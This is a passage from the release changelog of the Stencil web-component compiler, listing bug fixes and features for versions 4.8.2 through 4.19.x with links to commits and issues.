([dfbc340](https://github.com/stenciljs/core/commit/dfbc34007a818eef418e2f312a9dd7a0fef81af6))\n* **hydrate:** support server side rendering of components with listener ([#5877](https://github.com/stenciljs/core/issues/5877)) ([2c5b7f8](https://github.com/stenciljs/core/commit/2c5b7f8ecb9e999e3c584b3a1af5a317f035ae4d)), fixes [#5869](https://github.com/stenciljs/core/issues/5869)\n* **testing:** add testing sub module to export map ([#5873](https://github.com/stenciljs/core/issues/5873)) ([bb2e04f](https://github.com/stenciljs/core/commit/bb2e04f488280f12c2db91510d4bb2171e4493e1)), fixes [#5871](https://github.com/stenciljs/core/issues/5871) and [#5868](https://github.com/stenciljs/core/issues/5868)\n\n\n\n## 🍈 [4.19.1](https://github.com/stenciljs/core/compare/v4.19.0...v4.19.1) (2024-06-27)\n\n\n### Bug Fixes\n\n* **compiler:** account for package imports in aliasing ([#5862](https://github.com/stenciljs/core/issues/5862)) ([02b41d3](https://github.com/stenciljs/core/commit/02b41d3e64dfb7a2960ad32968e991fef159c137)), fixes [#5859](https://github.com/stenciljs/core/issues/5859) \n* **compiler:** try to create web worker with the workerPath before falling back to blob ([#3513](https://github.com/stenciljs/core/issues/3513)) ([c84dd32](https://github.com/stenciljs/core/commit/c84dd32499e8d0f092579e1c0317537a4ae341ac)), fixes [#3512](https://github.com/stenciljs/core/issues/3512)\n* **hydrate:** change type resolve order ([#5863](https://github.com/stenciljs/core/issues/5863)) ([42b1ff2](https://github.com/stenciljs/core/commit/42b1ff23405cf27670b335e3b95d9dceb65578ae))\n* **internal:** add cli sub package to export map ([ad95222](https://github.com/stenciljs/core/commit/ad95222bbd7a6421ac518cce24f3fd59102d4774))\n* **internal:** add mock-doc export in client runtime package.json ([ad95222](https://github.com/stenciljs/core/commit/4ff9011b9d07fba3f7deeb5f5f71cf5fd2d41397))\n\n\n\n# 🏄 [4.19.0](https://github.com/stenciljs/core/compare/v4.18.3...v4.19.0) (2024-06-26)\n\n\n### Bug Fixes\n\n* **compiler:** support rollup's external input option ([#3227](https://github.com/stenciljs/core/issues/3227)) ([2c68849](https://github.com/stenciljs/core/commit/2c6884970baf9f01f36d0843ce4ad59745e5a1f0)), fixes [#3226](https://github.com/stenciljs/core/issues/3226)\n* **emit:** don't emit test files ([#5789](https://github.com/stenciljs/core/issues/5789)) ([50892f1](https://github.com/stenciljs/core/commit/50892f153c4c95e2728ecc460c87582fcd763a1e)), fixes [#5788](https://github.com/stenciljs/core/issues/5788)\n* **hydrate:** support vdom annotation in nested dsd structures ([#5856](https://github.com/stenciljs/core/issues/5856)) ([61bb5e3](https://github.com/stenciljs/core/commit/61bb5e3a080c011fb3242c0428cad9238b43149d))\n* label attribute not toggling input ([#3474](https://github.com/stenciljs/core/issues/3474)) ([13db920](https://github.com/stenciljs/core/commit/13db92075b8dec53f5226761cec5ace5edb73d0c)), fixes [#3473](https://github.com/stenciljs/core/issues/3473)\n* **mock-doc:** expose ShadowRoot and DocumentFragment globals ([#5827](https://github.com/stenciljs/core/issues/5827)) ([98bbd7c](https://github.com/stenciljs/core/commit/98bbd7c0d6fb67f085aa9ce0c3013e942c882be2)), fixes [#3260](https://github.com/stenciljs/core/issues/3260)\n* **runtime:** allow watchers to fire w/ no Stencil members ([#5855](https://github.com/stenciljs/core/issues/5855)) ([850ad4f](https://github.com/stenciljs/core/commit/850ad4f4dd7c2349109be987af1e6f5df8c39608)), fixes [#5854](https://github.com/stenciljs/core/issues/5854)\n* **runtime:** catch errors in async lifecycle methods ([#5826](https://github.com/stenciljs/core/issues/5826)) ([87e5b33](https://github.com/stenciljs/core/commit/87e5b33a3b2c7d65803394d8209449de2e85a0a4)), fixes [#5824](https://github.com/stenciljs/core/issues/5824)\n* **runtime:** don't register listener before connected to DOM ([#5844](https://github.com/stenciljs/core/issues/5844)) ([9d7021f](https://github.com/stenciljs/core/commit/9d7021feab38fa03a8cbc0d489350786381d235c)), fixes [#4067](https://github.com/stenciljs/core/issues/4067)\n* **runtime:** properly assign style declarations ([#5838](https://github.com/stenciljs/core/issues/5838)) ([5c10ebf](https://github.com/stenciljs/core/commit/5c10ebfd090d904409be6addc8a5e907b2e91ed0))\n* **testing:** allow to re-use pages across it blocks ([#5830](https://github.com/stenciljs/core/issues/5830)) ([561eab4](https://github.com/stenciljs/core/commit/561eab4af68c4b24f349f0791085e191c0f8a69c)), fixes [#3720](https://github.com/stenciljs/core/issues/3720)\n* **typescript:** remove unsupported label property ([#5840](https://github.com/stenciljs/core/issues/5840)) ([d26ea2b](https://github.com/stenciljs/core/commit/d26ea2b7490db64e4e6cd1af8eccfe48c63c5122)), fixes [#3473](https://github.com/stenciljs/core/issues/3473)\n\n\n### Features\n\n* **cli:** support generation of sass and less files ([#5857](https://github.com/stenciljs/core/issues/5857)) ([1883812](https://github.com/stenciljs/core/commit/18838123f11f7277d82c8045ff41859d3c14e025)), closes [#2155](https://github.com/stenciljs/core/issues/2155)\n* **compiler:** generate export maps on build ([#5809](https://github.com/stenciljs/core/issues/5809)) ([b6d2404](https://github.com/stenciljs/core/commit/b6d24043bd518a7ddaf28f5da65730dd8669303d))\n* **complier:** support type import aliasing ([#5836](https://github.com/stenciljs/core/issues/5836)) ([7ffb25d](https://github.com/stenciljs/core/commit/7ffb25d259de5b863e7dc3bc43270265cc786557)), closes [#2335](https://github.com/stenciljs/core/issues/2335)\n* **runtime:** support declarative shadow DOM ([#5792](https://github.com/stenciljs/core/issues/5792)) ([c837063](https://github.com/stenciljs/core/commit/c83706362819eb44d43cba66851f9ea81f27d3bd)), closes [#4010](https://github.com/stenciljs/core/issues/4010)\n* **testing:** add `toHaveLastReceivedEventDetail` event spy matcher ([#5829](https://github.com/stenciljs/core/issues/5829)) ([63491de](https://github.com/stenciljs/core/commit/63491de1e6ae18a5c6bdaa07e20629b6c765b677)), closes [#2488](https://github.com/stenciljs/core/issues/2488)\n* **testing:** allow to disable network error logging via 'logFailingNetworkRequests' option ([#5839](https://github.com/stenciljs/core/issues/5839)) ([dac3e33](https://github.com/stenciljs/core/commit/dac3e33e14bec08b8c38190642761b286fe92168)), closes [#2572](https://github.com/stenciljs/core/issues/2572)\n* **testing:** expose captureBeyondViewport in pageCompareScreenshot ([#5828](https://github.com/stenciljs/core/issues/5828)) ([cf6a450](https://github.com/stenciljs/core/commit/cf6a4503b3f211802eb11960029d2c49dd8af6c7)), closes [#3188](https://github.com/stenciljs/core/issues/3188)\n\n\n\n## 😄 [4.18.3](https://github.com/stenciljs/core/compare/v4.18.2...v4.18.3) (2024-05-28)\n\n\n### Bug Fixes\n\n* **esbuild:** remove all `node:` imports from glob script to keep support for Jest v26 ([#5784](https://github.com/stenciljs/core/issues/5784)) ([5f4fcfa](https://github.com/stenciljs/core/commit/5f4fcfa12e701ece8884aa1e3b3143bd2221e0a0)), fixes [#5766](https://github.com/stenciljs/core/issues/5766)\n* **mock-doc:** support toDataURL method in canvas ([#5773](https://github.com/stenciljs/core/issues/5773)) ([3830dad](https://github.com/stenciljs/core/commit/3830dad7c8bd78de2c59c087a291e3d954d70508)), closes [#2923](https://github.com/stenciljs/core/issues/2923)\n* **runtime:** add missing intermediate parents scope ids to the elements ([#5775](https://github.com/stenciljs/core/issues/5775)) ([56c60d4](https://github.com/stenciljs/core/commit/56c60d4af1227fb82abf9bb838abfc4f439bd32d)), fixes [#5774](https://github.com/stenciljs/core/issues/5774)\n\n\n\n## ⛲️ [4.18.2](https://github.com/stenciljs/core/compare/v4.18.1...v4.18.2) (2024-05-20)\n\n\n### Bug Fixes\n\n* **e2e:** allow to fetch CSS variables assigned to host elements ([#5682](https://github.com/stenciljs/core/issues/5682)) ([e420eb6](https://github.com/stenciljs/core/commit/e420eb69ed8121a0b3e552ee331dffb5759cee32)), closes [#5681](https://github.com/stenciljs/core/issues/5681)\n* **hydrate:** respect `HydratedFlag` configuration in hydrate script ([#5741](https://github.com/stenciljs/core/issues/5741)) ([3538d06](https://github.com/stenciljs/core/commit/3538d06bdc4e1193c0032a228fa7571c0554e4df)), closes [#3606](https://github.com/stenciljs/core/issues/3606)\n* **runtime:** always throw if component can not be loaded ([#5762](https://github.com/stenciljs/core/issues/5762)) ([1d52b95](https://github.com/stenciljs/core/commit/1d52b9500e5b42b12e2ce24985bef4da34dd4e05)), closes [#5759](https://github.com/stenciljs/core/issues/5759)\n* **runtime:** support watch for components with custom tag names ([#5767](https://github.com/stenciljs/core/issues/5767)) ([f561e0f](https://github.com/stenciljs/core/commit/f561e0fdc323b6491c54badb83da4237f896d960)), closes [#3554](https://github.com/stenciljs/core/issues/3554)\n* **runtime:** throw proper error if component is loaded with invalid runtime ([#5675](https://github.com/stenciljs/core/issues/5675)) ([3cfbb8d](https://github.com/stenciljs/core/commit/3cfbb8d7be940f7db952d21510b1128679ec42a2)), closes [#5596](https://github.com/stenciljs/core/issues/5596)\n* **types:** move autofocus attr/prop definition to HTMLAttributes ([#5727](https://github.com/stenciljs/core/issues/5727)) ([3a33eff](https://github.com/stenciljs/core/commit/3a33eff4c810c5f87dee18634fb6e7b7f19e2eb6)), closes [#5726](https://github.com/stenciljs/core/issues/5726)\n\n\n\n## 🏍 [4.18.1](https://github.com/stenciljs/core/compare/v4.18.0...v4.18.1) (2024-05-13)\n\n\n### Bug Fixes\n\n* **build:** do not copy polyfills to the `dist` OT unless building es5 ([#5725](https://github.com/stenciljs/core/issues/5725)) ([945df46](https://github.com/stenciljs/core/commit/945df46b72ec52bf348f10cb9bf58f337b11de7c)), closes [#5416](https://github.com/stenciljs/core/issues/5416)\n* **compiler:** Allow OutputTargetCustom to be called on devMode ([#5541](https://github.com/stenciljs/core/issues/5541)) ([b0a9f7b](https://github.com/stenciljs/core/commit/b0a9f7b559b2a8efd21674609f35f6a09c430f01)), closes [#5514](https://github.com/stenciljs/core/issues/5514)\n* **compiler:** deprecate `scriptDataOpts` ([#5737](https://github.com/stenciljs/core/issues/5737)) ([da25aaa](https://github.com/stenciljs/core/commit/da25aaa4f37df0fcedfc67a5dc063a60769fe2c1))\n* **declarations:** Attribute ping is missing on AnchorHTMLAttributes ([#5752](https://github.com/stenciljs/core/issues/5752)) ([d345412](https://github.com/stenciljs/core/commit/d345412302a05323a4f8922aa7388fd67a4e4944)), closes [#5751](https://github.com/stenciljs/core/issues/5751)\n* **runtime:** add root scope id to the user provided nested children as classname ([#5750](https://github.com/stenciljs/core/issues/5750)) ([e864132](https://github.com/stenciljs/core/commit/e8641322c3a6b08f31469312d5351d611aa05086)), closes [#5749](https://github.com/stenciljs/core/issues/5749)\n\n\n\n# 🍵 [4.18.0](https://github.com/stenciljs/core/compare/v4.17.2...v4.18.0) (2024-05-06)\n\n\n### Bug Fixes\n\n* **hydrate:** output track elements as void elms ([#5720](https://github.com/stenciljs/core/issues/5720)) ([2082351](https://github.com/stenciljs/core/commit/20823518ecdea3a502eed69348fb6719d72af594)), closes [#2994](https://github.com/stenciljs/core/issues/2994)\n* **runtime:** add root scope id to the nested child as classname ([#5704](https://github.com/stenciljs/core/issues/5704)) ([b40ebb9](https://github.com/stenciljs/core/commit/b40ebb937869aa16f9adc672129639167406cd07)), closes [#5702](https://github.com/stenciljs/core/issues/5702)\n* **testing:** support functional components in unit tests ([#5722](https://github.com/stenciljs/core/issues/5722)) ([922a972](https://github.com/stenciljs/core/commit/922a97207dbe031d164a9b5e16fac4b004a5b7bf)), closes [#4063](https://github.com/stenciljs/core/issues/4063)\n\n\n### Features\n\n* **docs:** add style mode to `docs-json` output ([#5718](https://github.com/stenciljs/core/issues/5718)) ([44fcba1](https://github.com/stenciljs/core/commit/44fcba1a6cda2b45d83fe4101761f0ee8d82728a))\n\n\n\n## 🏊 [4.17.2](https://github.com/stenciljs/core/compare/v4.17.1...v4.17.2) (2024-04-29)\n\n\n### Bug Fixes\n\n* **build:** address @ionic/angular bundle size issue ([#5705](https://github.com/stenciljs/core/issues/5705)) ([0a7becc](https://github.com/stenciljs/core/commit/0a7beccb0a62a6a33a18b960aa5e59ada1b509fe))\n* **compiler:** recognize loud comments when generating style docs ([#5706](https://github.com/stenciljs/core/issues/5706)) ([a325f5c](https://github.com/stenciljs/core/commit/a325f5cd3f691fd3c10a2ab4c19a37d4617a4b79)), closes [#5623](https://github.com/stenciljs/core/issues/5623)\n\n\n\n## 🚒 [4.17.1](https://github.com/stenciljs/core/compare/v4.17.0...v4.17.1) (2024-04-23)\n\n\n### Bug Fixes\n\n* **cli:** prevent generate task from crashing ([#5693](https://github.com/stenciljs/core/issues/5693)) ([9efbf4b](https://github.com/stenciljs/core/commit/9efbf4bffad36bf241c35d0be48a4f557c56c034)), closes [#5692](https://github.com/stenciljs/core/issues/5692)\n\n\n\n# ♨️ [4.17.0](https://github.com/stenciljs/core/compare/v4.16.0...v4.17.0) (2024-04-22)\n\n### Internal\n\n* **Rollup to Esbuild Migration**\n  The Stencil team has been working on a migration from Rollup to Esbuild. This release (v4.17.0) is the first release we make in which the published Stencil code is compiled by Esbuild. We have done our due diligence to ensure that this will have no impact on Stencil users nor the output of your compiled components. If you experience any problems though, please [raise an issue](https://github.com/stenciljs/core/issues/new?assignees=&labels=&projects=&template=bug_report.yml&title=bug%3A+) and we will address it accordingly.\n\n### Bug Fixes\n\n* **docs:** merge together style docs from multiple CSS files ([#5653](https://github.com/stenciljs/core/issues/5653)) ([84e1a14](https://github.com/stenciljs/core/commit/84e1a14048bc34e64a866659d39376af605f8f9a))\n* **docs:** respect custom README content when writing to a custom path ([#5648](https://github.com/stenciljs/core/issues/5648)) ([6bfba1d](https://github.com/stenciljs/core/commit/6bfba1dda502f4ad67263b31b2945fa38a04b338)), fixes [#5400](https://github.com/stenciljs/core/issues/5400)\n* **slot-fallback:** fix hiding fallback slot content issue when the slotted element is a text node ([#5496](https://github.com/stenciljs/core/issues/5496)) ([29c69c4](https://github.com/stenciljs/core/commit/29c69c48a281f6bc02e8ab001c4ea98688b00d24)), fixes [#5335](https://github.com/stenciljs/core/issues/5335)\n* **testing:** perform string -> boolean type casting for Jest config ([#5672](https://github.com/stenciljs/core/issues/5672)) ([20f74fc](https://github.com/stenciljs/core/commit/20f74fce81597576f341f3a3dc663b6a204243bc)), fixes [#5640](https://github.com/stenciljs/core/issues/5640)\n\n\n\n# 🚛 [4.16.0](https://github.com/stenciljs/core/compare/v4.15.0...v4.16.0) (2024-04-15)\n\n\n### Bug Fixes\n\n* **cli:** fix a bug in CLI argument parsing ([#5646](https://github.com/stenciljs/core/issues/5646)) ([1fdea63](https://github.com/stenciljs/core/commit/1fdea63acfa5a9c1081111d7d79e826a127ef3eb)), refs [#5640](https://github.com/stenciljs/core/issues/5640)\n* **testing:** prevent `find` from throwing error when query has no match ([#5641](https://github.com/stenciljs/core/issues/5641)) ([b3886aa](https://github.com/stenciljs/core/commit/b3886aa928c1025e636aee1466f26f15fc4dd3eb)), closes [#5639](https://github.com/stenciljs/core/issues/5639)\n\n\n### Features\n\n* **dev-server:** dark mode support ([#5642](https://github.com/stenciljs/core/issues/5642)) ([89a5e40](https://github.com/stenciljs/core/commit/89a5e40adfcd7dbad54928cad6525239778ab9cd))\n* **typescript:** Update dependency typescript to v5.4.5 ([#5663](https://github.com/stenciljs/core/issues/5663)) ([2596536](https://github.com/stenciljs/core/commit/25965364c3f513b845e44f1db029fab14fdfb68f))\n\n\n\n# 🎖 [4.15.0](https://github.com/stenciljs/core/compare/v4.14.1...v4.15.0) (2024-04-08)\n\n\n### Features\n\n* **compiler:** perform automatic key insertion in more situations ([#5594](https://github.com/stenciljs/core/issues/5594)) ([8ee071b](https://github.com/stenciljs/core/commit/8ee071bf3aae4b2240b50f7af433035c8bf8aa49))\n* **typescript:** Update dependency typescript to v5.4.4 ([#5636](https://github.com/stenciljs/core/issues/5636)) ([a463871](https://github.com/stenciljs/core/commit/a46387123082d1af9fc17b5909530597dc5b5c68))\n\n\n\n## 🏋 [4.14.1](https://github.com/stenciljs/core/compare/v4.14.0...v4.14.1) (2024-04-04)\n\n\n### Bug Fixes\n\n* **compiler:** don't mistake aliased paths for collections imports ([#5620](https://github.com/stenciljs/core/issues/5620)) ([af22bb8](https://github.com/stenciljs/core/commit/af22bb858d64b60a97ce93c86f5585ef36b31c3f)), closes [#2319](https://github.com/stenciljs/core/issues/2319)\n* **runtime:** nested multiple default slot relocation ([#5403](https://github.com/stenciljs/core/issues/5403)) ([363c07b](https://github.com/stenciljs/core/commit/363c07b4723941954dc748189a744eec01d5b74c)), partially closes [#5335](https://github.com/stenciljs/core/issues/5335)\n* **runtime:** prevent ref callbacks from being called too early ([#5614](https://github.com/stenciljs/core/issues/5614)) ([81fa375](https://github.com/stenciljs/core/commit/81fa37587eb853d42bc7f92102318a3446cdea7b)), closes [#4074](https://github.com/stenciljs/core/issues/4074)\n\n\n\n# 🚡 [4.14.0](https://github.com/stenciljs/core/compare/v4.13.0...v4.14.0) (2024-04-01)\n\n\n### Bug Fixes\n\n* **mock-doc:** provide a local name ([#5480](https://github.com/stenciljs/core/issues/5480)) ([2f67b35](https://github.com/stenciljs/core/commit/2f67b3526c7160a0c9ac71727c401a438d282474)), closes [#5342](https://github.com/stenciljs/core/issues/5342)\n* **mock-doc:** resolve type issue for localName ([#5595](https://github.com/stenciljs/core/issues/5595)) ([d91af87](https://github.com/stenciljs/core/commit/d91af87d4e309a2da3cb145165cf7fe3c79ac1e7)), closes [#5342](https://github.com/stenciljs/core/issues/5342)\n\n\n### Features\n\n* **testing:** allow to set screenshot timeout option in Jest v28+ ([#5537](https://github.com/stenciljs/core/issues/5537)) ([6df12b2](https://github.com/stenciljs/core/commit/6df12b2a445ffe431f8412758f298a6e1c8fe3ac))\n* **testing:** support deep piercing with Puppeteer ([#5481](https://github.com/stenciljs/core/issues/5481)) ([13d5d41](https://github.com/stenciljs/core/commit/13d5d4188ac0d3d8d002ce93c4ec7abdde5c8086))\n* **typescript:** Update dependency typescript to v5.4.3 ([#5588](https://github.com/stenciljs/core/issues/5588)) ([9d489e4](https://github.com/stenciljs/core/commit/9d489e42a60391d2eb88cb0f7827a9368de18140))\n\n\n\n# 🚞 [4.13.0](https://github.com/stenciljs/core/compare/v4.12.6...v4.13.0) (2024-03-18)\n\n\n### Bug Fixes\n\n* **compiler:** allow to set custom root directory ([#5446](https://github.com/stenciljs/core/issues/5446)) ([b6b9617](https://github.com/stenciljs/core/commit/b6b96175c5e6a7d3477ed5fc2d4ddfc17827dd63))\n* **compiler:** don't validate references for @Prop, @Method and @Event decorator ([#5475](https://github.com/stenciljs/core/issues/5475)) ([3e45a82](https://github.com/stenciljs/core/commit/3e45a823534a2e36ac51cbc701ecff074c7c842d)), closes [#1352](https://github.com/stenciljs/core/issues/1352)\n* **renderer:** fix conditional rendering issue ([#5365](https://github.com/stenciljs/core/issues/5365)) ([5aa886e](https://github.com/stenciljs/core/commit/5aa886eb52efb7f361d53672698e947390c4f6f0)), closes [#5335](https://github.com/stenciljs/core/issues/5335)\n* **renderer:** fix missing slot ref callback handling ([#5337](https://github.com/stenciljs/core/issues/5337)) ([41f877e](https://github.com/stenciljs/core/commit/41f877ec48200dee0483691b4e5e519073d392dd)), closes [#5335](https://github.com/stenciljs/core/issues/5335)\n* **runtime:** remove `forceUpdate` in `appendChild` patch ([#5437](https://github.com/stenciljs/core/issues/5437)) ([e03795b](https://github.com/stenciljs/core/commit/e03795b38e93dfc024425c11d08792a6f4b02bcb))\n* **sys:** fix expected types for `createNodeLogger` and `createNodeSys` ([#5375](https://github.com/stenciljs/core/issues/5375)) ([7a70281](https://github.com/stenciljs/core/commit/7a70281bb41697c2fe9f992af571d5b7af242a79))\n* **testing:** use viewport for Puppeteer screenshot clip dimensions ([#5359](https://github.com/stenciljs/core/issues/5359)) ([c879800](https://github.com/stenciljs/core/commit/c8798002aba05af0a4554351b6232ce714d9995b)), closes [#5353](https://github.com/stenciljs/core/issues/5353)\n\n\n### Features\n\n* **dev-server:** add \"ping\" route ([#5414](https://github.com/stenciljs/core/issues/5414)) ([b279858](https://github.com/stenciljs/core/commit/b279858e2fc242d5990817f5a3fa4181e2d49604))\n* **typescript:** Update dependency typescript to ~5.4.0 ([#5464](https://github.com/stenciljs/core/issues/5464)) ([0833dc4](https://github.com/stenciljs/core/commit/0833dc4929d9048edce435b8c205917775faad52))\n\n\n\n## 🍍 [4.12.6](https://github.com/stenciljs/core/compare/v4.12.5...v4.12.6) (2024-03-11)\n\n\n### Bug Fixes\n\n* **cli:** move version logging earlier in CLI to allow `-v`, `--version` ([#5425](https://github.com/stenciljs/core/issues/5425)) ([194b0fc](https://github.com/stenciljs/core/commit/194b0fc0d9741d45efbe17f90572fbe09fc5ec62))\n* **compiler:** fix generated import statement ([#5419](https://github.com/stenciljs/core/issues/5419)) ([502da1b](https://github.com/stenciljs/core/commit/502da1bc3d1503bd82fbf0cccc312825a82772cf))\n* **test:** ensure screenshot dir is cleaned up ([#5421](https://github.com/stenciljs/core/issues/5421)) ([15e7a49](https://github.com/stenciljs/core/commit/15e7a4960bc845212563141b00798fdee07cbfbd))\n\n\n\n## 💙 [4.12.5](https://github.com/stenciljs/core/compare/v4.12.4...v4.12.5) (2024-03-04)\n\n\n### Bug Fixes\n\n* **custom-elements:** hydrate on client side ([#5317](https://github.com/stenciljs/core/issues/5317)) ([d809658](https://github.com/stenciljs/core/commit/d809658635280e115d67f1403dba946cce1bb01b)), closes [#3319](https://github.com/stenciljs/core/issues/3319)\n\n\n\n## 🐮 [4.12.4](https://github.com/stenciljs/core/compare/v4.12.3...v4.12.4) (2024-02-26)\n\n\n### Bug Fixes\n\n* **build:** address issue with dynamic import and vite ([#5399](https://github.com/stenciljs/core/issues/5399)) ([8ebacae](https://github.com/stenciljs/core/commit/8ebacae1106704293a2b1720b44eb83209175f96)), closes [#5389](https://github.com/stenciljs/core/issues/5389)\n\n\n\n## 🐍 [4.12.3](https://github.com/stenciljs/core/compare/v4.12.2...v4.12.3) (2024-02-20)\n\n\n### Bug Fixes\n\n* **compiler:** point crypto import at `crypto` instead of `node:crypto` ([#5369](https://github.com/stenciljs/core/issues/5369)) ([7fb783f](https://github.com/stenciljs/core/commit/7fb783fbc0d3c67136cfc0a777da03c9ac22a51c)), closes [#5358](https://github.com/stenciljs/core/issues/5358)\n* **runtime:** replace `innerHTML` with `textContent` for CSS injection ([#5207](https://github.com/stenciljs/core/issues/5207)) ([8de2ab5](https://github.com/stenciljs/core/commit/8de2ab5a8ad99876d371a68c3709c5299be29974)), closes [#5206](https://github.com/stenciljs/core/issues/5206)\n\n\n\n## 🎯 [4.12.2](https://github.com/stenciljs/core/compare/v4.12.1...v4.12.2) (2024-02-12)\n\n\n### Bug Fixes\n\n* **compiler:** support async globalScripts functions ([#5158](https://github.com/stenciljs/core/issues/5158)) ([8a129ce](https://github.com/stenciljs/core/commit/8a129ce7342ba737db70e0db6eda088cc9461d7f)), closes [#3392](https://github.com/stenciljs/core/issues/3392)\n* **mock-doc:** overwrite parentElement in MockHTMLElement to return null ([#5336](https://github.com/stenciljs/core/issues/5336)) ([0d9ed22](https://github.com/stenciljs/core/commit/0d9ed22c807b1788244258d6cf5eef7c6c637e43)), closes [#5252](https://github.com/stenciljs/core/issues/5252)\n\n\n\n## 🏸 [4.12.1](https://github.com/stenciljs/core/compare/v4.12.0...v4.12.1) (2024-02-05)\n\n\n### Bug Fixes\n\n* **mock-doc:** improve error message when `:scope` selector is used ([#5318](https://github.com/stenciljs/core/issues/5318)) ([f5d4e98](https://github.com/stenciljs/core/commit/f5d4e98d0e12a218e8b2f472853905975b964e02))\n* **runtime:** dynamic slot name change ([#5304](https://github.com/stenciljs/core/issues/5304)) ([9d9fe41](https://github.com/stenciljs/core/commit/9d9fe419c669b0e85c00ce9e65ac22d564c51d9c)), closes [#2982](https://github.com/stenciljs/core/issues/2982)\n* **runtime:** only generate lazy build CSS when there are component tags ([#5305](https://github.com/stenciljs/core/issues/5305)) ([a0c1bd0](https://github.com/stenciljs/core/commit/a0c1bd0f91938f7f3cfc97cc5402d3ff955d327f)), closes [#3771](https://github.com/stenciljs/core/issues/3771)\n\n\n\n# 🌅 [4.12.0](https://github.com/stenciljs/core/compare/v4.11.0...v4.12.0) (2024-01-29)\n\n\n### Bug Fixes\n\n* **hmr:** allow changes to component decorators when using HMR ([#5290](https://github.com/stenciljs/core/issues/5290)) ([656355f](https://github.com/stenciljs/core/commit/656355fc753fe09128f6f20f33150123863839d8))\n\n\n### Features\n\n* **runtime:** automatically insert `key` attrs during compilation ([#5143](https://github.com/stenciljs/core/issues/5143)) ([9c47438](https://github.com/stenciljs/core/commit/9c47438a9a727c9d21cc7441e022097a966bd60d))\n\n\n\n# 🍝 [4.11.0](https://github.com/stenciljs/core/compare/v4.10.0...v4.11.0) (2024-01-22)\n\n\n### Bug Fixes\n\n* **runtime:** resolve memory leak caused by global content ref ([#5266](https://github.com/stenciljs/core/issues/5266)) ([fb1b3f5](https://github.com/stenciljs/core/commit/fb1b3f5a5bf1096fa67ad0807881585975b4161b))\n* **screenshot:** recognise clip options ([#5205](https://github.com/stenciljs/core/issues/5205)) ([0d61a53](https://github.com/stenciljs/core/commit/0d61a53a24a361cc5b6f9545eaccb6957f9debcc))\n* **style:** fixes to watching nested and multiple styles on Stencil components ([#5244](https://github.com/stenciljs/core/issues/5244)) ([fa5ab1b](https://github.com/stenciljs/core/commit/fa5ab1b75f19e1117f0cead1caaf6b00ddccadf3))\n\n\n### Features\n\n* **compiler:** deprecate customResolveOptions config option ([#5269](https://github.com/stenciljs/core/issues/5269)) ([6faf746](https://github.com/stenciljs/core/commit/6faf746990330da4369e0d73725b0fc2becebb33))\n* **deps:** upgrade rollup, commonjs plugin ([#5274](https://github.com/stenciljs/core/issues/5274)) ([661120c](https://github.com/stenciljs/core/commit/661120c6524f1bf2987547677c01654a8bfb199e))\n\n\n\n# 🍪 [4.10.0](https://github.com/stenciljs/core/compare/v4.9.1...v4.10.0) (2024-01-15)\n\n\n### Bug Fixes\n\n* **runtime:** revert slot relocation forwarding ([#5222](https://github.com/stenciljs/core/issues/5222)) ([a2e119d](https://github.com/stenciljs/core/commit/a2e119d059ba0d0fa6155dbd3d82c17612630828))\n* **runtime:** slot regressions from experimental slot fixes ([#5221](https://github.com/stenciljs/core/issues/5221)) ([3b4deaa](https://github.com/stenciljs/core/commit/3b4deaabb690963c6c807917af5a6a3401d11384))\n\n\n### Features\n\n* **deps:** update dependency typescript to ~5.3.0 ([#5248](https://github.com/stenciljs/core/issues/5248)) ([e0e6a96](https://github.com/stenciljs/core/commit/e0e6a9629e937c13d00653398b3c4f472d8b6757))\n* **runtime:** add extras flag for scoped slot changes ([#5220](https://github.com/stenciljs/core/issues/5220)) ([15ff950](https://github.com/stenciljs/core/commit/15ff9509a4530a73b5d6c4a3723bbd085d535534))\n\n\n\n## 🍬 [4.9.1](https://github.com/stenciljs/core/compare/v4.9.0...v4.9.1) (2024-01-08)\n\n\n### Bug Fixes\n\n* **declarations:** bundle child_process type for portability ([#5165](https://github.com/stenciljs/core/issues/5165)) ([59ecd9e](https://github.com/stenciljs/core/commit/59ecd9e82ae43e7db67c81959bc34afa0d852087))\n\n\n\n# 🐏 [4.9.0](https://github.com/stenciljs/core/compare/v4.8.2...v4.9.0) (2023-12-18)\n\n\n### Bug Fixes\n\n* **compiler:** fix transforming method parameters into docs ([#5166](https://github.com/stenciljs/core/issues/5166)) ([2d16db6](https://github.com/stenciljs/core/commit/2d16db6d6e7b1b9559c895d3c7a0970207c0df7f))\n* **mock-doc:** add HTMLUListElement ([#5169](https://github.com/stenciljs/core/issues/5169)) ([6233cb5](https://github.com/stenciljs/core/commit/6233cb5ed8f8767cf69b328adc697b0f70030b6d)), closes [#3382](https://github.com/stenciljs/core/issues/3382)\n* **runtime:** allow setting `key` attr on nested Stencil components ([#5164](https://github.com/stenciljs/core/issues/5164)) ([f6903a8](https://github.com/stenciljs/core/commit/f6903a86caec1dda655290d99eaf8c42a8e102ac))\n* **runtime:** patch `removeChild` for `scoped` components ([#5148](https://github.com/stenciljs/core/issues/5148)) ([956c196](https://github.com/stenciljs/core/commit/956c19651772ce1770598e605b6c50e20b39cefa)), closes [#3278](https://github.com/stenciljs/core/issues/3278)\n* **screenshot:** reject pixel match process on exit ([#5167](https://github.com/stenciljs/core/issues/5167)) ([c2ee40d](https://github.com/stenciljs/core/commit/c2ee40db4b515224376b94019067de896d2f1a24))\n\n\n### Features\n\n* **compiler:** Stencil decorator import aliasing ([#5161](https://github.com/stenciljs/core/issues/5161)) ([97dcb45](https://github.com/stenciljs/core/commit/97dcb45d44751d239b0afb6380bea217818b211a)), closes [#3137](https://github.com/stenciljs/core/issues/3137)\n\n\n\n## 🐳 [4.8.2](https://github.com/stenciljs/core/compare/v4.8.1...v4.8.2) (2023-12-11)\n\n\n### Bug Fixes\n\n* **compiler:** make sure typesDir exist before writing to it ([#5109](https://github.com/stenciljs/core/issues/5109)) ([9e4e27e](https://github.com/stenciljs/core/commit/9e4e27e58ad918cb6a0358d63bd348880a6c04e4))\n* **compiler:** reapply changes to style import transformer ([#5125](https://github.com/stenciljs/core/issues/5125)) ([#5131](https://github.com/stenciljs/core/issues/5131)) ([735d45a](https://github.com/stenciljs/core/commit/735d45afdda420420f6d3992662cb63ded2c937e)), closes [#5016](https://github.com/stenciljs/core/issues/5016)\n* **runtime:** hide slotted content with no destination in scoped components ([#5135](https://github.com/stenciljs/core/issues/5135)) ([77bce27](https://github.com/stenciljs/core/commit/77bce27e028a8c2e72b51bada45ecae9e35420fb)), closes [#4284](https://github.com/stenciljs/core/issues/4284)\n* **runtime:** relocate slotted content when slot parent element tag changes ([#5120](https://github.com/stenciljs/core/issues/5120)) 